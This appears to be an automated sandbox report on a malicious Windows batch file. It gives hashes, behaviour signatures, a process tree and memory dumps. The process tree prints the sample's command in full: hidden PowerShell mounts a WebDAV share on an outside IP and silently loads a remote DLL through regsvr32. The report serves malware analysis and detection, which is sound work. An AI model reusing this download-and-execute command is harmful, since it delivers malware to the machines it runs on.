Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    23/07/2024, 04:49

General

  • Target

    17305192901066323489.bat

  • Size

    12KB

  • MD5

    a988865a471be7f53fdb4ab2cfe07dc8

  • SHA1

    5c048eb7c29e7ef43a81cafd718726753da57564

  • SHA256

    f23956bdeb50d0f1df51737d3b83168e628ada7b412eeeabf158b933f6aa6abb

  • SHA512

    478cf7f35e6fba18eda124eb16eb986e9c58eda7ec15ec59d97dca63cac03be988766a150e53248d309cb5f29343bdba1e220b1d4cb295d41713f4a08868cef6

  • SSDEEP

    384:phkcEXSyFz2GYpe+b+NHsAKGedKBUQvlk:pEXdFrf+b+NHsAKN4UQv6

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\17305192901066323489.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1928
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2680
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\6519120973792.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1300
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2876
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\6519120973792.dll
          3⤵
            PID:2708

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/1300-23-0x000000001B570000-0x000000001B852000-memory.dmp

        Filesize

        2.9MB

      • memory/1300-24-0x00000000026E0000-0x00000000026E8000-memory.dmp

        Filesize

        32KB

      • memory/1928-17-0x00000000022A0000-0x00000000023A0000-memory.dmp

        Filesize

        1024KB

      • memory/1928-16-0x00000000022A0000-0x00000000023A0000-memory.dmp

        Filesize

        1024KB